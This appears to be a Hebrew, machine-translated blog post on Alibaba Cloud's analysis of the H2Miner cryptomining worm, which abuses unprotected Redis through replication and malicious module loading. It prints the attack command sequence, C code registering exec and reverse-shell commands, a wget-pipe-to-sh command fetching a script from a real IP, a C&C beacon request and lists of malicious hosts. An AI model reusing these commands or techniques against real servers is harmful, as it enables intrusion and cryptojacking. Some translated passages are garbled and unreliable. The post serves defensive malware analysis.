התגלתה התפרצות חדשה של תולעי H2Miner שמנצלת את Redis RCE

לפני יום, אחד מהשרתים של הפרויקט שלי הותקף על ידי תולעת דומה. בחיפוש אחר תשובה לשאלה "מה זה היה?" מצאתי מאמר נהדר של צוות אבטחת הענן של עליבאבא. מכיוון שלא מצאתי את המאמר הזה על Habré, החלטתי לתרגם אותו במיוחד עבורכם <3

כניסה

לאחרונה, צוות האבטחה של Alibaba Cloud גילה התפרצות פתאומית של H2Miner. סוג זה של תולעת זדונית משתמש בהיעדר הרשאה או בסיסמאות חלשות עבור Redis כשערים למערכות שלך, ולאחר מכן הוא מסנכרן את המודול הזדוני שלה עם העבד באמצעות סנכרון מאסטר-עבד ולבסוף מוריד את המודול הזדוני הזה למחשב המותקף ומבצע זדוני הוראות.

בעבר, התקפות על המערכות שלך בוצעו בעיקר בשיטה הכוללת משימות מתוזמנות או מפתחות SSH שנכתבו למחשב שלך לאחר שהתוקף נכנס ל-Redis. למרבה המזל, לא ניתן להשתמש בשיטה זו לעתים קרובות עקב בעיות בבקרת הרשאות או עקב גרסאות מערכת שונות. עם זאת, שיטה זו של טעינת מודול זדוני יכולה לבצע ישירות את הפקודות של התוקף או לקבל גישה למעטפת, מה שמסוכן למערכת שלך.

בשל המספר הרב של שרתי Redis המתארחים באינטרנט (קרוב למיליון), צוות האבטחה של Alibaba Cloud, כתזכורת ידידותית, ממליץ למשתמשים לא לשתף את Redis באינטרנט ולבדוק באופן קבוע את עוצמת הסיסמאות שלהם והאם הן נפגעות. בחירה מהירה.

H2Miner

H2Miner הוא רשת כרייה למערכות מבוססות לינוקס שיכולה לפלוש למערכת שלך במגוון דרכים, כולל חוסר הרשאה בפרצות של Hadoop yarn, Docker ו-Redis מרחוק (RCE). רשת בוט פועלת על ידי הורדת סקריפטים זדוניים ותוכנות זדוניות כדי לכרות את הנתונים שלך, להרחיב את ההתקפה לרוחב ולשמור על תקשורת פיקוד ובקרה (C&C).

Redis RCE

את הידע בנושא זה שיתף Pavel Toporkov ב-ZeroNights 2018. לאחר גרסה 4.0, Redis תומכת בתכונת טעינת פלאגין המעניקה למשתמשים את היכולת לטעון כך שקבצים שהורכבו עם C לתוך Redis כדי לבצע פקודות Redis ספציפיות. פונקציה זו, למרות שימושית, מכילה פגיעות שבה, במצב מאסטר-slave, ניתן לסנכרן קבצים עם ה-slave באמצעות מצב fullresync. זה יכול לשמש תוקף כדי להעביר קבצים זדוניים. לאחר השלמת ההעברה, התוקפים טוענים את המודול על מופע Redis המותקף ומבצעים כל פקודה.

ניתוח תולעת תוכנות זדוניות

לאחרונה, צוות האבטחה של Alibaba Cloud גילה שגודלה של קבוצת הכורים הזדוניים H2Miner גדל לפתע באופן דרמטי. על פי הניתוח, התהליך הכללי של התרחשות התקיפה הוא כדלקמן:

H2Miner משתמש ב-RCE Redis להתקפה מלאה. תוקפים תוקפים תחילה שרתי Redis לא מוגנים או שרתים עם סיסמאות חלשות.

ואז הם משתמשים בפקודה config set dbfilename red2.so כדי לשנות את שם הקובץ. לאחר מכן, התוקפים מבצעים את הפקודה slaveof כדי להגדיר את כתובת המארח לשכפול מאסטר-עבד.

כאשר מופע Redis המותקף יוצר חיבור מאסטר-slave עם Redis הזדוני שבבעלות התוקף, התוקף שולח את המודול הנגוע באמצעות פקודת fullresync לסנכרון הקבצים. הקובץ red2.so יוורד לאחר מכן למחשב המותקף. לאחר מכן, התוקפים משתמשים במודול הטעינה ./red2.so כדי לטעון קובץ so זה. המודול יכול לבצע פקודות מתוקף או ליזום חיבור הפוך (דלת אחורית) כדי לקבל גישה למחשב המותקף.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

לאחר ביצוע פקודה זדונית כגון / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, התוקף יאפס את שם קובץ הגיבוי ויפרוק את מודול המערכת כדי לנקות את העקבות. עם זאת, הקובץ red2.so עדיין יישאר במחשב המותקף. מומלץ למשתמשים לשים לב לנוכחות של קובץ חשוד שכזה בתיקייה של מופע Redis שלהם.

בנוסף להרג כמה תהליכים זדוניים כדי לגנוב משאבים, התוקף עקב אחר סקריפט זדוני על ידי הורדה וביצוע של קבצים בינאריים זדוניים 142.44.191.122/קיסינג. משמעות הדבר היא ששם התהליך או שם הספרייה המכילים kinsing במארח עשויים להצביע על כך שהמחשב הזה נדבק בווירוס זה.

על פי תוצאות ההנדסה ההפוכה, התוכנה הזדונית מבצעת בעיקר את הפונקציות הבאות:

• העלאת קבצים וביצועם
• כְּרִיָה
• שמירה על תקשורת C&C וביצוע פקודות תוקפים

השתמש ב-masscan לסריקה חיצונית כדי להרחיב את השפעתך. בנוסף, כתובת ה-IP של שרת ה-C&C מקודדת בקוד קשיח בתוכנית, והמארח המותקף יתקשר עם שרת התקשורת של C&C באמצעות בקשות HTTP, כאשר מידע הזומבי (שרת שנפגע) מזוהה בכותרת HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

שיטות תקיפה אחרות

כתובות וקישורים המשמשים את התולעת

/קיסינג

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

המועצה

ראשית, Redis לא אמורה להיות נגישה מהאינטרנט וצריכה להיות מוגנת באמצעות סיסמה חזקה. חשוב גם שהלקוחות יבדקו שאין קובץ red2.so בספריית Redis ושאין "קינסינג" בשם הקובץ/התהליך במארח.

מקור: www.habr.com